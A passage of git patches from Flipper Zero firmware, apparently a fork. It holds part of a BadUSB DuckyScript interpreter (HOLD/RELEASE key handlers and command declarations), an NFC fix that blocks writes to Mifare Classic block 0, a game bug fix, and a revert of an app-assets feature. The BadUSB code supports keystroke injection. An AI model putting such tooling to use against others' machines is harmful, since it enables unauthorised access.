ducky_fnc_release( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + (void)line; + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + uint16_t key = ducky_get_keycode(bad_usb, line_tmp, true); + if(key == HID_KEYBOARD_NONE) { + if(error != NULL) { + snprintf(error, error_len, "No keycode defined for %s", line_tmp); + } + return SCRIPT_STATE_ERROR; + } + furi_hal_hid_kb_release(key); + return (0); +} diff --git a/applications/main/bad_usb/mnemonic.h b/applications/main/bad_usb/mnemonic.h new file mode 100644 index 000000000..a85627c3a --- /dev/null +++ b/applications/main/bad_usb/mnemonic.h @@ -0,0 +1,96 @@ +#pragma once + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bad_usb_script.h" + +// A no opperation function +int32_t ducky_fnc_noop( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); +// DELAY +int32_t ducky_fnc_delay( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); +// DEFAULTDELAY +int32_t ducky_fnc_defdelay( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); +// STRINGDELAY +int32_t ducky_fnc_strdelay( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); +// STRING +int32_t ducky_fnc_string( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); +// STRINGLN +int32_t ducky_fnc_stringln( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); +// REPEAT +int32_t ducky_fnc_repeat( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); +// SYSRQ +int32_t ducky_fnc_sysrq( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); +// ALTCHAR +int32_t ducky_fnc_altchar( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); +// ALTSTRING +int32_t ducky_fnc_altstring( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); +// HOLD +int32_t ducky_fnc_hold( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); +// RELEASE +int32_t ducky_fnc_release( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len); + +#ifdef __cplusplus +} +#endif From 0190a161ba1cb292b894dce66fff15dcb1ed08c4 Mon Sep 17 00:00:00 2001 From: AloneLiberty <111039319+AloneLiberty@users.noreply.github.com> Date: Thu, 9 Mar 2023 20:50:25 +0300 Subject: [PATCH 062/329] NFC: Fix 0 block write possibility in Mifare Classic emulation (#2474) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- lib/nfc/protocols/mifare_classic.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/nfc/protocols/mifare_classic.c b/lib/nfc/protocols/mifare_classic.c index a8a908897..712428717 100644 --- a/lib/nfc/protocols/mifare_classic.c +++ b/lib/nfc/protocols/mifare_classic.c @@ -291,6 +291,10 @@ bool mf_classic_is_allowed_access_data_block( uint8_t* sector_trailer = data->block[mf_classic_get_sector_trailer_num_by_block(block_num)].value; + if(block_num == 0 && action == MfClassicActionDataWrite) { + return false; + } + uint8_t sector_block; if(block_num <= 128) { sector_block = block_num & 0x03; From a48adfbaf7e25bd5aa644b2f460c20b528eb0cc0 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 9 Mar 2023 23:19:08 +0300 Subject: [PATCH 063/329] Fix some strange bug --- applications/plugins/heap_defence_game/heap_defence.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/applications/plugins/heap_defence_game/heap_defence.c b/applications/plugins/heap_defence_game/heap_defence.c index 378a42823..0958d4363 100644 --- a/applications/plugins/heap_defence_game/heap_defence.c +++ b/applications/plugins/heap_defence_game/heap_defence.c @@ -496,7 +496,9 @@ static void heap_defense_input_callback(InputEvent* input_event, FuriMessageQueu static void heap_defense_timer_callback(FuriMessageQueue* event_queue) { furi_assert(event_queue); - GameEvent event = {.type = EventGameTick, .input = {0}}; + GameEvent event; + event.type = EventGameTick; + event.input = (InputEvent){0}; furi_message_queue_put(event_queue, &event, 0); } From a04c01a2fd703a6ac67ec8d2ae9713925fa83860 Mon Sep 17 00:00:00 2001 From: Sergey Gavrilov Date: Thu, 9 Mar 2023 18:01:53 +0300 Subject: [PATCH 064/329] Revert "Embed assets in elf file (#2466)" This reverts commit 4fd043398a17b3965b7045c711fc5e36dbce984a. --- .../debug/unit_tests/storage/storage_test.c | 6 +- .../examples/example_apps_assets/README.md | 58 --- .../example_apps_assets/application.fam | 10 - .../example_apps_assets/example_apps_assets.c | 48 --- .../files/poems/a jelly-fish.txt | 24 -- .../files/poems/my shadow.txt | 23 -- .../files/poems/theme in yellow.txt | 19 - .../example_apps_assets/files/test_asset.txt | 1 - .../examples/example_apps_data/README.md | 12 +- applications/services/storage/storage.h | 15 +- .../services/storage/storage_external_api.c | 21 - applications/services/storage/storage_i.h | 1 - .../services/storage/storage_processing.c | 14 +- firmware/targets/f18/api_symbols.csv | 3 +- firmware/targets/f7/api_symbols.csv | 3 +- lib/flipper_application/application_assets.c | 361 ------------------ lib/flipper_application/application_assets.h | 17 - lib/flipper_application/elf/elf_file.c | 116 +++--- lib/flipper_application/elf/elf_file.h | 38 +- lib/flipper_application/flipper_application.c | 78 +--- scripts/fbt/appmanifest.py | 1 - scripts/fbt_tools/fbt_extapps.py | 185 +-------- 22 files changed, 115 insertions(+), 939 deletions(-) delete mode 100644 applications/examples/example_apps_assets/README.md delete mode 100644 applications/examples/example_apps_assets/application.fam delete mode 100644 applications/examples/example_apps_assets/example_apps_assets.c delete mode 100644 applications/examples/example_apps_assets/files/poems/a jelly-fish.txt delete mode 100644 applications/examples/example_apps_assets/files/poems/my shadow.txt delete mode 100644 applications/examples/example_apps_assets/files/poems/theme in yellow.txt delete mode 100644 applications/examples/example_apps_assets/files/test_asset.txt delete mode 100644 lib/flipper_application/application_assets.c delete mode 100644 lib/flipper_application/application_assets.h diff --git a/applications/debug/unit_tests/storage/storage_test.c b/applications/debug/unit_tests/storage/storage_test.c index f0b45c598..582be7902 100644 --- a/applications/debug/unit_tests/storage/storage_test.c +++ b/applications/debug/unit_tests/storage/storage_test.c @@ -362,8 +362,8 @@ static size_t storage_test_apps_count = COUNT_OF(storage_test_apps); static int32_t storage_test_app(void* arg) { UNUSED(arg); Storage* storage = furi_record_open(RECORD_STORAGE); - storage_common_remove(storage, "/data/test"); - int32_t ret = storage_file_create(storage, "/data/test", "test"); + storage_common_remove(storage, "/app/test"); + int32_t ret = storage_file_create(storage, "/app/test", "test"); furi_record_close(RECORD_STORAGE); return ret; } @@ -401,7 +401,7 @@ MU_TEST(test_storage_data_path) { Storage* storage = furi_record_open(RECORD_STORAGE); File* file = storage_file_alloc(storage); - mu_check(storage_dir_open(file, "/data")); + mu_check(storage_dir_open(file, "/app")); mu_check(storage_dir_close(file)); storage_file_free(file); diff --git a/applications/examples/example_apps_assets/README.md b/applications/examples/example_apps_assets/README.md deleted file mode 100644 index a24183e88..000000000 --- a/applications/examples/example_apps_assets/README.md +++ /dev/null @@ -1,58 +0,0 @@ -# Apps Assets folder Example - -This example shows how to use the Apps Assets folder to store data that is not part of the application itself, but is required for its operation, and that data is provided with the application. - -## What is the Apps Assets Folder? - -The **Apps Assets** folder is a folder where external applications unpack their assets. - -The path to the current application folder is related to the `appid` of the app. The `appid` is used to identify the app in the app store and is stored in the `application.fam` file. -The Apps Assets folder is located only on the external storage, the SD card. - -For example, if the `appid` of the app is `snake_game`, the path to the Apps Assets folder will be `/ext/apps_assets/snake_game`. But using raw paths is not recommended, because the path to the Apps Assets folder can change in the future. Use the `/assets` alias instead. - -## How to get the path to the Apps Assets folder? - -You can use `/assets` alias to get the path to the current application data folder. For example, if you want to open a file `database.txt` in the Apps Assets folder, you can use the next path: `/data/database.txt`. But this way is not recommended, because even the `/assets` alias can change in the future. - -We recommend to use the `APP_ASSETS_PATH` macro to get the path to the Apps Assets folder. For example, if you want to open a file `database.txt` in the Apps Assets folder, you can use the next path: `APP_ASSETS_PATH("database.txt")`. - -## What is the difference between the Apps Assets folder and the Apps Data folder? - -The Apps Assets folder is used to store the data provided with the application. For example, if you want to create a game, you can store game levels (contant data) in the Apps Assets folder. - -The Apps Data folder is used to store data generated by the application. For example, if you want to create a game, you can save the progress of the game (user-generated data) in the Apps Data folder. - -## How to provide the data with the app? - -To provide data with an application, you need to create a folder inside your application folder (eg "files") and place the data in it. After that, you need to add `fap_file_assets="files"` to your application.fam file. - -For example, if you want to provide game levels with the application, you need to create a "levels" folder inside the "files" folder and put the game levels in it. After that, you need to add `fap_file_assets="files"` to your application.fam file. The final application folder structure will look like this: - -``` -snake_game -├── application.fam -├── snake_game.c -└── files - └── levels - ├── level1.txt - ├── level2.txt - └── level3.txt -``` - -When app is launched, the `files` folder will be unpacked to the Apps Assets folder. The final structure of the Apps Assets folder will look like this: - -``` -/assets -├── .assets.signature -└── levels - ├── level1.txt - ├── level2.txt - └── level3.txt -``` - -## When will the data be unpacked? - -The data is unpacked when the application starts, if the application is launched for the first time, or if the data within the application is updated. - -When an application is compiled, the contents of the "files" folder are hashed and stored within the application itself. When the application starts, this hash is compared to the hash stored in the `.assets.signature` file. If the hashes differ or the `.assets.signature` file does not exist, the application folder is deleted and the new data is unpacked. \ No newline at end of file diff --git a/applications/examples/example_apps_assets/application.fam b/applications/examples/example_apps_assets/application.fam deleted file mode 100644 index 4f324277d..000000000 --- a/applications/examples/example_apps_assets/application.fam +++ /dev/null @@ -1,10 +0,0 @@ -App( - appid="example_apps_assets", - name="Example: Apps Assets", - apptype=FlipperAppType.EXTERNAL, - entry_point="example_apps_assets_main", - requires=["gui"], - stack_size=4 * 1024, - fap_category="Examples", - fap_file_assets="files", -) diff --git a/applications/examples/example_apps_assets/example_apps_assets.c b/applications/examples/example_apps_assets/example_apps_assets.c deleted file mode 100644 index f2d0272f0..000000000 --- a/applications/examples/example_apps_assets/example_apps_assets.c +++ /dev/null @@ -1,48 +0,0 @@ -#include -#include -#include -#include - -// Define log tag -#define TAG "example_apps_assets" - -static void example_apps_data_print_file_content(Storage* storage, const char* path) { - Stream* stream = file_stream_alloc(storage); - FuriString* line = furi_string_alloc(); - - FURI_LOG_I(TAG, "----------------------------------------"); - FURI_LOG_I(TAG, "File \"%s\" content:", path); - if(file_stream_open(stream, path, FSAM_READ, FSOM_OPEN_EXISTING)) { - while(stream_read_line(stream, line)) { - furi_string_replace_all(line, "\r", ""); - furi_string_replace_all(line, "\n", ""); - FURI_LOG_I(TAG, "%s", furi_string_get_cstr(line)); - } - } else { - FURI_LOG_E(TAG, "Failed to open file"); - } - FURI_LOG_I(TAG, "----------------------------------------"); - - furi_string_free(line); - file_stream_close(stream); - stream_free(stream); -} - -// Application entry point -int32_t example_apps_assets_main(void* p) { - // Mark argument as unused - UNUSED(p); - - // Open storage - Storage* storage = furi_record_open(RECORD_STORAGE); - - example_apps_data_print_file_content(storage, APP_ASSETS_PATH("test_asset.txt")); - example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/a jelly-fish.txt")); - example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/theme in yellow.txt")); - example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/my shadow.txt")); - - // Close storage - furi_record_close(RECORD_STORAGE); - - return 0; -} diff --git a/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt b/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt deleted file mode 100644 index 46a5a4dff..000000000 --- a/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt +++ /dev/null @@ -1,24 +0,0 @@ -A Jelly-Fish by Marianne Moore - -Visible, invisible, -A fluctuating charm, -An amber-colored amethyst -Inhabits it; your arm -Approaches, and -It opens and -It closes; -You have meant -To catch it, -And it shrivels; -You abandon -Your intent— -It opens, and it -Closes and you -Reach for it— -The blue -Surrounding it -Grows cloudy, and -It floats away -From you. - -source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/poems/my shadow.txt b/applications/examples/example_apps_assets/files/poems/my shadow.txt deleted file mode 100644 index e113e7df5..000000000 --- a/applications/examples/example_apps_assets/files/poems/my shadow.txt +++ /dev/null @@ -1,23 +0,0 @@ -My Shadow by Robert Louis Stevenson - -I have a little shadow that goes in and out with me, -And what can be the use of him is more than I can see. -He is very, very like me from the heels up to the head; -And I see him jump before me, when I jump into my bed. - -The funniest thing about him is the way he likes to grow— -Not at all like proper children, which is always very slow; -For he sometimes shoots up taller like an India-rubber ball, -And he sometimes gets so little that there’s none of him at all. - -He hasn’t got a notion of how children ought to play, -And can only make a fool of me in every sort of way. -He stays so close beside me, he’s a coward you can see; -I’d think shame to stick to nursie as that shadow sticks to me! - -One morning, very early, before the sun was up, -I rose and found the shining dew on every buttercup; -But my lazy little shadow, like an arrant sleepy-head, -Had stayed at home behind me and was fast asleep in bed. - -source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/poems/theme in yellow.txt b/applications/examples/example_apps_assets/files/poems/theme in yellow.txt deleted file mode 100644 index f392287bd..000000000 --- a/applications/examples/example_apps_assets/files/poems/theme in yellow.txt +++ /dev/null @@ -1,19 +0,0 @@ -Theme in Yellow by Carl Sandburg - -I spot the hills -With yellow balls in autumn. -I light the prairie cornfields -Orange and tawny gold clusters -And I am called pumpkins. -On the last of October -When dusk is fallen -Children join hands -And circle round me -Singing ghost songs -And love to the harvest moon; -I am a jack-o'-lantern -With terrible teeth -And the children know -I am fooling. - -source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/test_asset.txt b/applications/examples/example_apps_assets/files/test_asset.txt deleted file mode 100644 index 1adcb55ee..000000000 --- a/applications/examples/example_apps_assets/files/test_asset.txt +++ /dev/null @@ -1 +0,0 @@ -## This is test file content \ No newline at end of file diff --git a/applications/examples/example_apps_data/README.md b/applications/examples/example_apps_data/README.md index c70ac055a..fd8666077 100644 --- a/applications/examples/example_apps_data/README.md +++ b/applications/examples/example_apps_data/README.md @@ -9,16 +9,10 @@ The **Apps Data** folder is a folder used to store data for external apps that a The path to the current application folder is related to the `appid` of the app. The `appid` is used to identify the app in the app store and is stored in the `application.fam` file. The Apps Data folder is located only on the external storage, the SD card. -For example, if the `appid` of the app is `snake_game`, the path to the Apps Data folder will be `/ext/apps_data/snake_game`. But using raw paths is not recommended, because the path to the Apps Data folder can change in the future. Use the `/data` alias instead. +For example, if the `appid` of the app is `snake_game`, the path to the Apps Data folder will be `/ext/apps_data/snake_game`. But using raw paths is not recommended, because the path to the Apps Data folder can change in the future. Use the `/app` alias instead. ## How to get the path to the Apps Data folder? -You can use `/data` alias to get the path to the current application data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `/data/config.txt`. But this way is not recommended, because even the `/data` alias can change in the future. +You can use `/app` alias to get the path to the current application data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `/app/config.txt`. But this way is not recommended, because even the `/app` alias can change in the future. -We recommend to use the `APP_DATA_PATH` macro to get the path to the Apps Data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `APP_DATA_PATH("config.txt")`. - -## What is the difference between the Apps Assets folder and the Apps Data folder? - -The Apps Assets folder is used to store the data provided with the application. For example, if you want to create a game, you can store game levels (contant data) in the Apps Assets folder. - -The Apps Data folder is used to store data generated by the application. For example, if you want to create a game, you can save the progress of the game (user-generated data) in the Apps Data folder. \ No newline at end of file +We recommend to use the `APP_DATA_PATH` macro to get the path to the Apps Data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `APP_DATA_PATH("config.txt")`. \ No newline at end of file diff --git a/applications/services/storage/storage.h b/applications/services/storage/storage.h index 5991e765f..da583ce50 100644 --- a/applications/services/storage/storage.h +++ b/applications/services/storage/storage.h @@ -10,14 +10,12 @@ extern "C" { #define STORAGE_INT_PATH_PREFIX "/int" #define STORAGE_EXT_PATH_PREFIX "/ext" #define STORAGE_ANY_PATH_PREFIX "/any" -#define STORAGE_APP_DATA_PATH_PREFIX "/data" -#define STORAGE_APP_ASSETS_PATH_PREFIX "/assets" +#define STORAGE_APP_DATA_PATH_PREFIX "/app" #define INT_PATH(path) STORAGE_INT_PATH_PREFIX "/" path #define EXT_PATH(path) STORAGE_EXT_PATH_PREFIX "/" path #define ANY_PATH(path) STORAGE_ANY_PATH_PREFIX "/" path #define APP_DATA_PATH(path) STORAGE_APP_DATA_PATH_PREFIX "/" path -#define APP_ASSETS_PATH(path) STORAGE_APP_ASSETS_PATH_PREFIX "/" path #define RECORD_STORAGE "storage" @@ -148,17 +146,6 @@ bool storage_file_eof(File* file); */ bool storage_file_exists(Storage* storage, const char* path); -/** - * @brief Copy data from one opened file to another opened file - * Size bytes will be copied from current position of source file to current position of destination file - * - * @param source source file - * @param destination destination file - * @param size size of data to copy - * @return bool success flag - */ -bool storage_file_copy_to_file(File* source, File* destination, uint32_t size); - /******************* Dir Functions *******************/ /** Opens a directory to get objects from it diff --git a/applications/services/storage/storage_external_api.c b/applications/services/storage/storage_external_api.c index ffc3da4bc..8d8220f81 100644 --- a/applications/services/storage/storage_external_api.c +++ b/applications/services/storage/storage_external_api.c @@ -9,7 +9,6 @@ #define MAX_NAME_LENGTH 256 #define MAX_EXT_LEN 16 -#define FILE_BUFFER_SIZE 512 #define TAG "StorageAPI" @@ -252,26 +251,6 @@ bool storage_file_exists(Storage* storage, const char* path) { return exist; } -bool storage_file_copy_to_file(File* source, File* destination, uint32_t size) { - uint8_t* buffer = malloc(FILE_BUFFER_SIZE); - - while(size) { - uint32_t read_size = size > FILE_BUFFER_SIZE ? FILE_BUFFER_SIZE : size; - if(storage_file_read(source, buffer, read_size) != read_size) { - break; - } - - if(storage_file_write(destination, buffer, read_size) != read_size) { - break; - } - - size -= read_size; - } - - free(buffer); - return size == 0; -} - /****************** DIR ******************/ static bool storage_dir_open_internal(File* file, const char* path) { diff --git a/applications/services/storage/storage_i.h b/applications/services/storage/storage_i.h index cb7f16e47..85df5d926 100644 --- a/applications/services/storage/storage_i.h +++ b/applications/services/storage/storage_i.h @@ -13,7 +13,6 @@ extern "C" { #define STORAGE_COUNT (ST_INT + 1) #define APPS_DATA_PATH EXT_PATH("apps_data") -#define APPS_ASSETS_PATH EXT_PATH("apps_assets") typedef struct { ViewPort* view_port; diff --git a/applications/services/storage/storage_processing.c b/applications/services/storage/storage_processing.c index 2a335e366..cab1edff5 100644 --- a/applications/services/storage/storage_processing.c +++ b/applications/services/storage/storage_processing.c @@ -454,7 +454,7 @@ void storage_process_alias( FuriString* apps_data_path_with_appsid = furi_string_alloc_set(APPS_DATA_PATH "/"); furi_string_cat(apps_data_path_with_appsid, furi_thread_get_appid(thread_id)); - // "/data" -> "/ext/apps_data/appsid" + // "/app" -> "/ext/apps_data/appsid" furi_string_replace_at( path, 0, @@ -472,18 +472,6 @@ void storage_process_alias( } furi_string_free(apps_data_path_with_appsid); - } else if(furi_string_start_with(path, STORAGE_APP_ASSETS_PATH_PREFIX)) { - FuriString* apps_assets_path_with_appsid = furi_string_alloc_set(APPS_ASSETS_PATH "/"); - furi_string_cat(apps_assets_path_with_appsid, furi_thread_get_appid(thread_id)); - - // "/assets" -> "/ext/apps_assets/appsid" - furi_string_replace_at( - path, - 0, - strlen(STORAGE_APP_ASSETS_PATH_PREFIX), - furi_string_get_cstr(apps_assets_path_with_appsid)); - - furi_string_free(apps_assets_path_with_appsid); } } diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 07c323a1b..8060d38a2 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,18.1,, +Version,+,18.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -1636,7 +1636,6 @@ Function,-,storage_dir_rewind,_Bool,File* Function,+,storage_error_get_desc,const char*,FS_Error Function,+,storage_file_alloc,File*,Storage* Function,+,storage_file_close,_Bool,File* -Function,+,storage_file_copy_to_file,_Bool,"File*, File*, uint32_t" Function,+,storage_file_eof,_Bool,File* Function,+,storage_file_exists,_Bool,"Storage*, const char*" Function,+,storage_file_free,void,File* diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 89828753e..532008729 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,18.1,, +Version,+,18.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -2511,7 +2511,6 @@ Function,-,storage_dir_rewind,_Bool,File* Function,+,storage_error_get_desc,const char*,FS_Error Function,+,storage_file_alloc,File*,Storage* Function,+,storage_file_close,_Bool,File* -Function,+,storage_file_copy_to_file,_Bool,"File*, File*, uint32_t" Function,+,storage_file_eof,_Bool,File* Function,+,storage_file_exists,_Bool,"Storage*, const char*" Function,+,storage_file_free,void,File* diff --git a/lib/flipper_application/application_assets.c b/lib/flipper_application/application_assets.c deleted file mode 100644 index 1262870d5..000000000 --- a/lib/flipper_application/application_assets.c +++ /dev/null @@ -1,361 +0,0 @@ -#include "application_assets.h" -#include -#include - -// #define ELF_ASSETS_DEBUG_LOG 1 - -#ifndef ELF_ASSETS_DEBUG_LOG -#undef FURI_LOG_D -#define FURI_LOG_D(...) -#undef FURI_LOG_E -#define FURI_LOG_E(...) -#endif - -#define FLIPPER_APPLICATION_ASSETS_MAGIC 0x4F4C5A44 -#define FLIPPER_APPLICATION_ASSETS_VERSION 1 -#define FLIPPER_APPLICATION_ASSETS_SIGNATURE_FILENAME ".assets.signature" - -#define BUFFER_SIZE 512 - -#define TAG "fap_assets" - -#pragma pack(push, 1) - -typedef struct { - uint32_t magic; - uint32_t version; - uint32_t dirs_count; - uint32_t files_count; -} FlipperApplicationAssetsHeader; - -#pragma pack(pop) - -typedef enum { - AssetsSignatureResultEqual, - AssetsSignatureResultNotEqual, - AssetsSignatureResultError, -} AssetsSignatureResult; - -static FuriString* flipper_application_assets_alloc_app_full_path(FuriString* app_name) { - furi_assert(app_name); - FuriString* full_path = furi_string_alloc_set(APPS_ASSETS_PATH "/"); - furi_string_cat(full_path, app_name); - return full_path; -} - -static FuriString* flipper_application_assets_alloc_signature_file_path(FuriString* app_name) { - furi_assert(app_name); - FuriString* signature_file_path = flipper_application_assets_alloc_app_full_path(app_name); - furi_string_cat(signature_file_path, "/" FLIPPER_APPLICATION_ASSETS_SIGNATURE_FILENAME); - - return signature_file_path; -} - -static uint8_t* flipper_application_assets_alloc_and_load_data(File* file, size_t* size) { - furi_assert(file); - - uint8_t* data = NULL; - uint32_t length = 0; - - // read data length - if(storage_file_read(file, &length, sizeof(length)) != sizeof(length)) { - return NULL; - } - - data = malloc(length); - - // read data - if(storage_file_read(file, (void*)data, length) != length) { - free((void*)data); - return NULL; - } - - if(size != NULL) { - *size = length; - } - - return data; -} - -static bool flipper_application_assets_process_files( - Storage* storage, - File* file, - FuriString* app_name, - uint32_t files_count) { - furi_assert(storage); - furi_assert(file); - furi_assert(app_name); - - UNUSED(storage); - - bool success = false; - uint32_t length = 0; - char* path = NULL; - FuriString* file_path = furi_string_alloc(); - File* destination = storage_file_alloc(storage); - - FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); - - for(uint32_t i = 0; i < files_count; i++) { - path = (char*)flipper_application_assets_alloc_and_load_data(file, NULL); - - if(path == NULL) { - break; - } - - // read file size - if(storage_file_read(file, &length, sizeof(length)) != sizeof(length)) { - break; - } - - furi_string_set(file_path, full_path); - furi_string_cat(file_path, "/"); - furi_string_cat(file_path, path); - - if(!storage_file_open( - destination, furi_string_get_cstr(file_path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - FURI_LOG_E(TAG, "Can't create file: %s", furi_string_get_cstr(file_path)); - break; - } - - // copy data to file - if(!storage_file_copy_to_file(file, destination, length)) { - FURI_LOG_E(TAG, "Can't copy data to file: %s", furi_string_get_cstr(file_path)); - break; - } - - storage_file_close(destination); - - free(path); - path = NULL; - - if(i == files_count - 1) { - success = true; - } - } - - if(path != NULL) { - free(path); - } - - storage_file_free(destination); - furi_string_free(file_path); - - return success; -} - -static bool flipper_application_assets_process_dirs( - Storage* storage, - File* file, - FuriString* app_name, - uint32_t dirs_count) { - furi_assert(storage); - furi_assert(file); - furi_assert(app_name); - - bool success = false; - FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); - - do { - if(!storage_simply_mkdir(storage, APPS_ASSETS_PATH)) { - break; - } - - if(!storage_simply_mkdir(storage, furi_string_get_cstr(full_path))) { - break; - } - - FuriString* dir_path = furi_string_alloc(); - char* path = NULL; - - for(uint32_t i = 0; i < dirs_count; i++) { - path = (char*)flipper_application_assets_alloc_and_load_data(file, NULL); - - if(path == NULL) { - break; - } - - furi_string_set(dir_path, full_path); - furi_string_cat(dir_path, "/"); - furi_string_cat(dir_path, path); - - if(!storage_simply_mkdir(storage, furi_string_get_cstr(dir_path))) { - FURI_LOG_E(TAG, "Can't create directory: %s", furi_string_get_cstr(dir_path)); - break; - } - - free(path); - path = NULL; - - if(i == dirs_count - 1) { - success = true; - } - } - - if(path != NULL) { - free(path); - } - - furi_string_free(dir_path); - } while(false); - - furi_string_free(full_path); - - return success; -} - -static AssetsSignatureResult flipper_application_assets_process_signature( - Storage* storage, - File* file, - FuriString* app_name, - uint8_t** signature_data, - size_t* signature_data_size) { - furi_assert(storage); - furi_assert(file); - furi_assert(app_name); - furi_assert(signature_data); - furi_assert(signature_data_size); - - AssetsSignatureResult result = AssetsSignatureResultError; - File* signature_file = storage_file_alloc(storage); - FuriString* signature_file_path = - flipper_application_assets_alloc_signature_file_path(app_name); - - do { - // read signature - *signature_data = - flipper_application_assets_alloc_and_load_data(file, signature_data_size); - - if(*signature_data == NULL) { //-V547 - FURI_LOG_E(TAG, "Can't read signature"); - break; - } - - result = AssetsSignatureResultNotEqual; - - if(!storage_file_open( - signature_file, - furi_string_get_cstr(signature_file_path), - FSAM_READ_WRITE, - FSOM_OPEN_EXISTING)) { - FURI_LOG_E(TAG, "Can't open signature file"); - break; - } - - size_t signature_size = storage_file_size(signature_file); - uint8_t* signature_file_data = malloc(signature_size); - if(storage_file_read(signature_file, signature_file_data, signature_size) != - signature_size) { - FURI_LOG_E(TAG, "Can't read signature file"); - free(signature_file_data); - break; - } - - if(memcmp(*signature_data, signature_file_data, signature_size) == 0) { - FURI_LOG_D(TAG, "Assets signature is equal"); - result = AssetsSignatureResultEqual; - } - - free(signature_file_data); - } while(0); - - storage_file_free(signature_file); - furi_string_free(signature_file_path); - - return result; -} - -bool flipper_application_assets_load(File* file, const char* elf_path, size_t offset, size_t size) { - UNUSED(size); - furi_assert(file); - furi_assert(elf_path); - FlipperApplicationAssetsHeader header; - bool result = false; - Storage* storage = furi_record_open(RECORD_STORAGE); - uint8_t* signature_data = NULL; - size_t signature_data_size = 0; - FuriString* app_name = furi_string_alloc(); - path_extract_filename_no_ext(elf_path, app_name); - - FURI_LOG_D(TAG, "Loading assets for %s", furi_string_get_cstr(app_name)); - - do { - if(!storage_file_seek(file, offset, true)) { - break; - } - - // read header - if(storage_file_read(file, &header, sizeof(header)) != sizeof(header)) { - break; - } - - if(header.magic != FLIPPER_APPLICATION_ASSETS_MAGIC) { - break; - } - - if(header.version != FLIPPER_APPLICATION_ASSETS_VERSION) { - break; - } - - // process signature - AssetsSignatureResult signature_result = flipper_application_assets_process_signature( - storage, file, app_name, &signature_data, &signature_data_size); - - if(signature_result == AssetsSignatureResultError) { - FURI_LOG_E(TAG, "Assets signature error"); - break; - } else if(signature_result == AssetsSignatureResultEqual) { - FURI_LOG_D(TAG, "Assets signature equal, skip loading"); - result = true; - break; - } else { - FURI_LOG_D(TAG, "Assets signature not equal, loading"); - - // remove old assets - FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); - storage_simply_remove_recursive(storage, furi_string_get_cstr(full_path)); - furi_string_free(full_path); - - FURI_LOG_D(TAG, "Assets removed"); - } - - // process directories - if(!flipper_application_assets_process_dirs(storage, file, app_name, header.dirs_count)) { - break; - } - - // process files - if(!flipper_application_assets_process_files(storage, file, app_name, header.files_count)) { - break; - } - - // write signature - FuriString* signature_file_path = - flipper_application_assets_alloc_signature_file_path(app_name); - File* signature_file = storage_file_alloc(storage); - - if(storage_file_open( - signature_file, - furi_string_get_cstr(signature_file_path), - FSAM_WRITE, - FSOM_CREATE_ALWAYS)) { - storage_file_write(signature_file, signature_data, signature_data_size); - } - - storage_file_free(signature_file); - furi_string_free(signature_file_path); - - result = true; - } while(false); - - if(signature_data != NULL) { - free(signature_data); - } - - furi_record_close(RECORD_STORAGE); - furi_string_free(app_name); - - FURI_LOG_D(TAG, "Assets loading %s", result ? "success" : "failed"); - - return result; -} \ No newline at end of file diff --git a/lib/flipper_application/application_assets.h b/lib/flipper_application/application_assets.h deleted file mode 100644 index 83bb14fb6..000000000 --- a/lib/flipper_application/application_assets.h +++ /dev/null @@ -1,17 +0,0 @@ -/** - * @file 